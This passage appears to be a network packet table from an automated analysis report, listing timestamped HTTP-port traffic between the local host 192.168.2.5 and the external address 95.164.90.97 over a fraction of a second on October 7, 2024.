Oct 7, 2024 18:00:53.004342079 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.004355907 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.005209923 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.005220890 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.005239010 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.005254984 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.005270958 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.005546093 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.005558014 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.005569935 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.005582094 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.005599022 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.005619049 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.009957075 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.009969950 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.009980917 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.009993076 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.010004997 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.010008097 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.010018110 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.010029078 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.010031939 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.010046959 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.010051012 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.010065079 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.010068893 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.010078907 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.010090113 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.010097980 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.010102987 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.010127068 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.010143042 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.010278940 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.010291100 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.010303020 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.010313988 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.010318995 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.010327101 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.010337114 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.010339975 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.010351896 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.010364056 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.010364056 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.010375977 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.010380983 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.010399103 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.010422945 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.010518074 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.010529995 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.010540962 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.010552883 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.010552883 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.010565042 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.010566950 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.010581970 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.010585070 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.010595083 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.010607004 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.010610104 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.010618925 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.010626078 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.010651112 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.010801077 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.010812998 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.010823965 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.010835886 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.010844946 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.010848999 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.010860920 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.010862112 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.010874033 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.010885954 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.010886908 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.010911942 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.010927916 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.010927916 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.010961056 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.011076927 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.011086941 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.011097908 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.011109114 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.011109114 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.011121988 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.011126995 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.011135101 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.011147022 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.011151075 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.011158943 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.011168003 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.011169910 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.011182070 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.011193037 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.011219978 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.073692083 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.073704958 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.073715925 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.073741913 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.073760986 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.074031115 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.074042082 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.074054003 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.074060917 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.074078083 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.074094057 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.074177980 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.074188948 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.074218988 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.086846113 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.086857080 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.086868048 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.086878061 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.086889982 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.086899996 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.086900949 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.086911917 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.086922884 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.086935043 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.086955070 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.086977959 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.086986065 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.086997986 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.087007999 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.087018967 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.087028980 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.087030888 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.087042093 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.087068081 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.087090969 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.087690115 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.087702036 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.087713003 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.087738037 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.087743044 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.087750912 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.087762117 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.087773085 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.087774038 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.087793112 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.087811947 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.087930918 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.087943077 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.087954044 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.087965012 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.087966919 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.087995052 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.087999105 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.088011026 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.088023901 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.088033915 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.088042021 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.088046074 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.088068008 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.088082075 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.088249922 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.088262081 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.088272095 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.088289022 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.088289976 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.088314056 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.088318110 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.088326931 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.088337898 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.088342905 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.088351011 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.088362932 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.088375092 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.088408947 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.117820024 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.117831945 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.117842913 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.117854118 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.117863894 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.117875099 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.117876053 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.117886066 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.117914915 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.117914915 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.118087053 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.118098021 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.118109941 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.118124962 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.118125916 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.118138075 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.118149996 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.118153095 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.118163109 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.118175983 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.118180037 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.118189096 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.118197918 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.118212938 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.118222952 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.118225098 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.118237972 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.118247032 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.118273020 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.118421078 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.118432999 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.118443966 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.118454933 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.118464947 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.118468046 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.118479967 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.118480921 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.118493080 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.118496895 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.118506908 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.118530989 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.118535995 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.118549109 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.118555069 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.118560076 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.118571997 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.118581057 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.118582964 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.118596077 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.118604898 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.118607044 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.118619919 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.118619919 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.118643999 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.118666887 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.119821072 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.119832039 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.119843006 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.119853020 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.119864941 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.119865894 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.119875908 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.119887114 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.119888067 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.119899035 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.119910955 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.119920969 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.119921923 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.119950056 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.119956017 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.119962931 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.119976044 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.119990110 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.119992971 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.120012045 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.120018005 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.120026112 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.120038033 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.120043039 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.120050907 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.120059967 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.120063066 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.120081902 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.120106936 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.120732069 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.120759010 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.120769978 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.120773077 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.120781898 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.120789051 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.120795012 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.120805979 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.120805979 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.120819092 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.120820999 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.120831966 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.120837927 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.120847940 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.120874882 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.120887995 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.158706903 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.158719063 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.158729076 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.158746004 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.158756971 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.158757925 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.158770084 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.158781052 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.158787012 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.158818007 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.171431065 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.171442986 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.171454906 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.171464920 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.171475887 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.171488047 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.171494961 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.171499014 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.171510935 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.171523094 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.171533108 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.171535015 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.171545029 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.171555996 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.171556950 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.171569109 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.171571016 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.171580076 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.171600103 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.171622992 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.171971083 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.171981096 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.171997070 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.172018051 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.172041893 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.172044039 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.172054052 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.172065973 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.172075987 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.172086000 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.172108889 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.172123909 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.172152996 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.172624111 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.172635078 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.172647953 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.172667027 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.172693014 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.172698975 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.172710896 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.172720909 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.172732115 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.172732115 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.172758102 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.172780037 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.172894001 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.172904968 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.172914982 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.172925949 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.172935009 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.172939062 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.172950983 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.172961950 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.172966957 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.172972918 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.172982931 CEST	49831	80	192.168.2.5	95.164.90.97
